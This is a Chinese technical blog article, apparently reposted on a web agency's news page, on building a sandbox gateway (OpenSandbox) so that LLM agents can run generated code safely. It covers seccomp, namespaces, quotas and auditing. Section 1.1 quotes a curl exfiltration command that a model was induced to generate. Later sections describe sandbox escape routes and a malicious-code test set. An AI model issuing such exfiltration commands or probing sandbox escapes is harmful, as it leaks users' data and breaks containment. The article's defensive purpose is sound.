ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

大模型执行代码不安全?OpenSandbox 沙箱网关设计与实战

大模型执行代码不安全?OpenSandbox 沙箱网关设计与实战 我接触大模型跑代码这个需求最早是给一个 Agent 产品做原型。模型写得一手好代码但你把它生成的代码直接扔进生产环境的 shell十次里有八次要出事——不是死循环烧 CPU就是顺手请求了内网接口运气差点还能把临时目录塞满。后来我给这类需求统一加了一层东西OpenSandbox。简单说OpenSandbox 是一套让大模型安全执行代码的沙箱方案它把每一次“模型生成的代码”放进隔离环境去跑控制进程、文件、网络和资源配额再把结果原样吐回给模型。解决的问题一句话讲完大模型有多会写代码就有多容易把系统边界撞破。这篇文章就拆一拆 OpenSandbox 这类沙箱网关到底怎么设计、怎么接入 Agent、以及上线三个月后我踩过的那些坑。1. 大模型跑代码这件事风险等级比你想象的高一档1.1 从“代码写得对”到“代码不能乱跑”很多团队的起点是这样的模型通过 ReAct 循环调用一个execute_code工具把生成的 Python 或 JavaScript 代码交给后端执行然后把 stdout 抓回来当“工具结果”塞回上下文。听起来顺理成章但这里有个被忽视的前提——模型生成的代码本质上是不可信的输入。模型可能因为训练数据里见过相似代码写出一段shutil.rmtree操作可能因为用户的 prompt 里混入了恶意指令生成一段访问外部域名的请求更常见的是模型对运行环境一无所知写出while True等待某个永远不会到达的外部输入。这些都不是“代码写得对不对”的问题而是“代码能不能在安全边界内跑”的问题。前者的评估标准是正确性后者要讨论的是权限、资源、网络和影响面。我在实际项目里见过最典型的一次事故模型被一段用户描述诱导生成了一句subprocess.Popen(curl http://xxx/upload?data..., shellTrue)。如果后端直接在本机执行这条命令就有机会把环境变量、临时文件、内网可达信息全部打包送出去。更隐蔽的是它甚至不需要“恶意”模型会一本正经地在注释里写“这里需要上传日志到监控服务”。1.2 容器和裸进程为什么不足以当沙箱有人会说我直接把代码丢进 Docker 容器不就行了第一次听到这话我猜你还没认真读过 Docker 的默认安全边界。普通 Docker 容器在默认配置下和宿主机共享同一个内核容器里的进程只要拿到足够权限或碰上内核漏洞就可以尝试逃逸。--privileged这种参数更是个大坑等于把大部分隔离直接关了。而且容器默认并不限制 CPU 和内存上限我见过一个测试环境被模型生成的死循环代码把整个节点的 CPU 吃到 100%最后靠运维手动 kill 容器才缓过来。裸进程更不用说了所有系统调用直通内核文件系统就是宿主机的文件系统网络栈也是宿主机的网络栈没有任何中间层能拦住破坏性操作。所以如果只是“能跑”裸进程都行但如果是“敢在生产环境跑”需要的是进程隔离、文件隔离、网络隔离、资源隔离四个维度同时生效。下面这张表是我常用的对比框架隔离维度裸进程普通 Docker 容器专用沙箱网关OpenSandbox进程隔离无命名空间隔离但共享内核用户态拦截 内核级 seccomp 兜底文件隔离直接读写宿主机文件有 rootfs但挂载卷要仔细管只读根文件系统 临时目录网络隔离直接使用宿主网络默认可出网可配置但易漏默认禁网按白名单放行资源隔离不设限默认不设限可配置每次执行强制配额超额即杀启动速度最快秒级到十几秒百毫秒到秒级OpenSandbox 这类方案的出发点就是把“代码执行”从一次普通的进程调用变成一次有审批、有限额、有审计的受控事务。2. OpenSandbox 的四道闸口把一次代码执行做成受控事务2.1 第一道API 网关把“执行请求”纳入审批流OpenSandbox 不是一个跑在模型内部的小函数而是一个独立部署的沙箱网关服务。模型侧通过 HTTP API 提交执行请求网关统一受理、校验、调度。一个典型的请求长这样{ task_id: task_7f3a2d91, language: python, code: print(sum(range(100))), timeout_ms: 10000, limits: { cpu_cpus: 0.5, memory_mb: 256, pids_max: 32, disk_mb: 64 }, network: deny, allowed_paths: [/tmp/output], env: {} }注意这里的几个字段timeout_ms是硬性超时limits限定了 CPU、内存、进程数、磁盘network默认就是deny只有显式声明白名单时才放行allowed_paths则控制代码能访问哪些目录。网关的价值不只是“转发”它把每一次执行都变成了可审计的记录。请求谁发的、模型角色是什么、代码是什么、配额是多少、最终结果如何全部落日志。这一步在出安全事故时是救命稻草——你可以回溯当时模型看到了什么 prompt才生成了这段代码。2.2 第二道系统调用过滤 进程降权执行环境真正干活的是一个轻量 runtime 进程。它负责拉起你的代码进程同时做几件最关键的事seccomp 过滤系统调用只放行运行该语言所需的最小子集比如read、write、exit、mmap、futex把mount、reboot、ptrace这类高危险调用直接挡掉。进程降权代码进程用 nobody 或普通 UID 运行不给 root 权限。PID 命名空间代码进程看不到宿主机的进程列表只能看到自己所在命名空间内的进程。这里我说一下为什么要做成“代理执行”而不是“原地执行”。模型或者用户提交的代码是不可信输入如果直接在你主服务的进程里跑一个os.abort()都能把你整个 Agent 服务打挂。代理执行的意思是主服务只负责和网关通信真正的代码在独立 runtime 里跑两边进程树和内存空间完全隔离。这样一来就算代码崩了、卡了、干出任何离谱的事主服务毫发无伤。seccomp 策略文件看起来类似这样{ default_action: ERRNO, syscalls: [ {names: [read, write, close, exit, exit_group, mmap, munmap, brk, futex, nanosleep, writev], action: ALLOW}, {names: [execve], action: ERRNO} ] }上面这个例子比较严格连execve都不放行——意思是你只能在这个 runtime 里跑不能再去拉起别的程序。实际项目里会根据语言运行时放开少数几个调用但原则是“默认拒绝显式放行”。2.3 第三道文件与网络视图的“欺骗式隔离”文件系统层面OpenSandbox 给每次执行准备一个临时视图根目录是只读的代码看到的是一个精简过的最小文件系统/tmp和指定输出目录是临时可写空间执行结束后整个目录清理掉宿主机路径、其他容器路径、以及常见的敏感目录比如/etc/passwd、.aws、.ssh全部不可见。这一层我称之为“视图隔离”——代码以为自己在一个正常的 Linux 环境里实际上它看到的是一副被精心裁剪过的假象。这样做的目的是低成本实现强隔离不需要完整虚拟机也不需要重新编译内核只改文件挂载和命名空间视图就够了。网络层同理。默认情况下代码进程的网络命名空间是独立的而且没有外网出口。任何requests.get、socket.connect都会直接失败或超时。如果业务确实需要访问某些资源比如调公司内部数据库 API那就走显式白名单网关侧维护一张出网白名单只有列表内的域名和端口会被代理放行其他全在 DNS 或连接层拦截。2.4 第四道资源配额让所有失控都有止损线光隔离权限不够还得管住资源消耗。模型生成的代码失控最常见的形式不是“恶意违规”而是“疯狂空转”死循环、超大递归、并行子进程哗啦啦拉满。我常用的配额基线如下你们可以直接抄配额项建议值超限表现CPU 配额0.5 核 ~ 1 核被 cgroup 限制变慢但不至于拖垮宿主内存上限256MB ~ 512MB触发 OOM进程被杀返回错误进程数上限16 ~ 32fork 失败抛出资源超限异常临时磁盘64MB ~ 256MB写满后返回磁盘空间不足单次超时10s ~ 30s强制 SIGKILL返回 TimedOut超时这里有个细节我建议直接 SIGKILL 而不是 SIGTERM。因为不可信代码完全可能捕获 SIGTERM 信号然后继续赖着跑只有核弹级强杀能保证终止。当然强杀会导致临时文件来不及清理所以 runtime 侧还要有个回收机制定期扫描并清掉残留的临时目录和进程组。3. 接进 Agent 的完整链路从一次 tool_calls 到结果回填模型3.1 工具调用的通信协议怎么定Agent 侧接入 OpenSandbox走的是一条标准的工具调用链路。以 ReAct 模式的 Agent 为例完整流程是这样的模型根据用户问题决定调用execute_code工具参数里携带代码文本。后端拿到参数先做 schema 校验和内容检查比如代码长度上限、是否有明显禁用的指令模式。组装 OpenSandbox 执行请求里面带上语言类型、代码、超时和资源配额。网关调度到空闲 runtime执行代码收集 stdout、stderr、退出码。后端把执行结果整理成一个精简的字符串作为“工具执行结果”追加进 messages。函数定义可以这样写{ name: execute_code, description: 在一个受控沙箱环境中运行 Python 代码用于数据处理、计算和简单自动化操作。代码无法访问外网和敏感文件。, parameters: { type: object, properties: { code: {type: string, description: 要执行的 Python 代码}, timeout_ms: {type: integer, description: 最大执行时间默认10000} }, required: [code] } }返回结果格式建议固定为{ task_id: task_7f3a2d91, status: success, stdout: 4950, stderr: , exit_code: 0, duration_ms: 143 }固定格式的好处是下游 Agent 的主逻辑不需要频繁适配不同分支看到status字段直接决定下一步动作。3.2 回填模型时的三个魔鬼细节截断、超时、异步链路跑通只是第一步真正影响体验的是回填阶段的细节。第一个细节输出必须截断。如果模型生成的代码打印了 100MB 的日志直接作为工具结果塞回模型上下文要么爆掉 token 限制要么把推理速度拖到不可用。我一般设 64KB 的输出上限超出部分截断并在结果末尾附一句[output truncated]让模型知道它要处理的信息是不完整的。第二个细节超时信息要如实告诉模型。工具返回status: timeout时Agent 的主循环要明确告诉模型“代码执行超过 10 秒被强制终止请检查是否存在死循环或低效算法”。如果不做这一步模型会一脸茫然以为代码执行成功了继续基于错误的假设推理。第三个细节长任务要走异步。单次代码执行如果可能超过 30 秒就别在 HTTP 请求里同步等。网关可以先返回task_idAgent 后台轮询结果再在合适时机把结果注入后续的模型调用。否则一条用户请求可能会触发多个 30 秒同步阻塞体验几乎不可用。我还踩过一个流式输出的坑一开始以为边执行边吐 stdout 很酷结果模型读到一半输出就开始推理推理里引用了并不存在的后续内容。后来统一改成沙箱执行完整结束、输出全部收集完再一次性回填模型。这不是偷懒而是保证模型看到的工具结果是完整且自洽的。4. 三个月实战我替你们踩过的坑4.1 死循环、预热时间与超时方案的博弈上线第一个月翻车最频繁的就是死循环。模型非常喜欢生成while True配合input()的代码仿佛在等一个永远不会来的用户输入。还有一次模型写了个递归函数没写终止条件直接把这一个 agent 会话的配额打满。修这个问题的过程中我意识到超时时间的设置不能拍脑袋。runtime 冷启动一个 Python 解释器大概要花 300~500ms如果只给 5 秒超时“慢一点但正常”的代码也会被误杀。后来我做了一次调整预热时间不计入代码执行配额同一语言使用常驻 runtime 池避免每次冷启动超时按“代码执行实际耗时”计算而不是进程存活总时长超过 50% 配额仍未完成的任务先在日志里标记为“疑似失控”供后续分析。runtime 池的复用还有一个额外好处模型生成的代码如果只是写文件、算数据通常几百毫秒就能跑完响应速度接近原生调用用户体验完全不一样。4.2 网络白名单、临时目录和并发风暴风控逃逸的三个姿势运行权限和资源配额定好了你以为万事大吉三个月里我至少见到三种逃逸姿势劝大家提前预防姿势一网络侧信道。就算默认禁网某些语言运行时可能通过 DNS 查询、NTP 或特定协议向外泄露极少量数据。所以我的建议是网络命名空间独立出站全封必须联网的任务走网关侧的代理白名单绝不能靠“端口封得差不多”来碰运气。姿势二文件路径逃逸。有些实现图省事直接把宿主的/tmp映射给沙箱用。模型生成代码一旦探测到/tmp/user_data里存在别的任务残留文件就可能导致数据串味。正确做法是每个任务一个私有 tmpfs任务结束连目录一起销毁宿主机永远只暴露一个空壳。姿势三并发风暴。我经历过最惨的一次是一个 Agent 任务链一口气提交了 47 个代码执行请求把 runtime 池直接打穿后续所有用户的执行请求排队排到天荒地老。解决方法是网关侧加令牌桶限流单 Agent 并发上限比如 3单用户每秒请求上限比如 20超过的直接 429 返回同时自动熔断降级。每次上线新功能之前我都会拿着下面这份清单过一遍沙箱内代码能否访问内网能否访问云元数据接口除了 API 返回有没有其他数据出口DNS、错误日志、进程参数任务结束后临时文件是否确定性清理有没有限制单用户的资源总消耗而不仅是单次任务4.3 “能跑”到“敢用”还差一个审计层很多团队做到前面几步就觉得“沙箱上线了”但真正让我觉得系统敢用的是补上审计层之后。我在 OpenSandbox 网关里加了几个日志字段任务 ID、请求方身份、模型会话 ID、代码内容、执行环境版本、实际资源消耗、输出摘要。每次执行结束它们会写进独立的审计库和业务日志分开留存。这个做法带来的一个实际收益是有一次客户反馈模型“生成了很奇怪的文件”我没法立刻反推模型当时的完整状态但通过审计日志能看到它执行了什么代码、访问了哪些路径、消耗了多少资源几分钟就定位到是 prompt 里被诱导生成了读文件的操作。如果没有审计层这种问题的排查只能靠猜猜不到就只能封禁整个功能得不偿失。5. 沙箱的边界感没有绝对安全只有分层止损5.1 OpenSandbox 与内核共享型沙箱、MicroVM 的取舍聊到这里有人可能会问OpenSandbox 用 seccomp 加命名空间本质还是和宿主机共享内核内核一旦有漏洞沙箱不就形同虚设这话对所以我从不吹“绝对安全”的牛。安全工程师常说一句话安全不是一把锁是一层一层的锁。OpenSandbox 做的事情是把攻击成本抬高到“不合算”的程度——你要先找到一个内核漏洞再绕过 seccomp 策略再穿透文件系统隔离才有机会碰到宿主机内核。如果业务对隔离要求的确更高可以在这套方案之上再做一次叠加方案隔离粒度启动开销适合场景命名空间 seccomp进程级毫秒级Agent 高频工具调用gVisor 用户态内核系统调用级数百毫秒对逃逸面敏感的生产服务Firecracker MicroVM虚拟机级1~3 秒不可信代码规模化执行我实际使用的策略是分级管控默认高频、轻量任务走命名空间方案涉及敏感数据或来源更可疑的代码比如直接从外部文档里提取的脚本升级到 MicroVM。成本虽然高一些但“敏感任务”本来就该付出更多保护代价。5.2 上线之后还能做的三件事第一件事维护一份“恶意代码测试集”。我会定期构造一批故意作死的样例——尝试读/etc/passwd、尝试连接外部域名、尝试 fork 大量进程、尝试无限写磁盘——然后统一跑一遍沙箱服务确保每一条都被正确拦截。这个动作比任何安全理论都能让你睡得安心。第二件事定期更新基础镜像和 runtime 版本。沙箱的安全性很大程度依赖底层内核修补别让你的执行环境停留在三个月前的版本上。第三件事控制模型侧的工具描述不把沙箱能力吹得太大。execute_code描述里要明确写“无法访问网络”“文件读写有限制”这会让模型在生成代码时主动做符合约束的规划而不是老想着挑战边界。反过来说一个清楚知道自己跑在沙箱里的模型兜底概率会低很多。到现在我还会做一件事每周选一个模型刚生成的、跑完没出问题的代码手动去沙箱里检查它的临时文件、进程残留和网络行为。这已经不算测试更像是跟自己的沙箱系统培养信任感——毕竟每天都要见面的东西心里有没有底上线那瞬间最清楚。
返回列表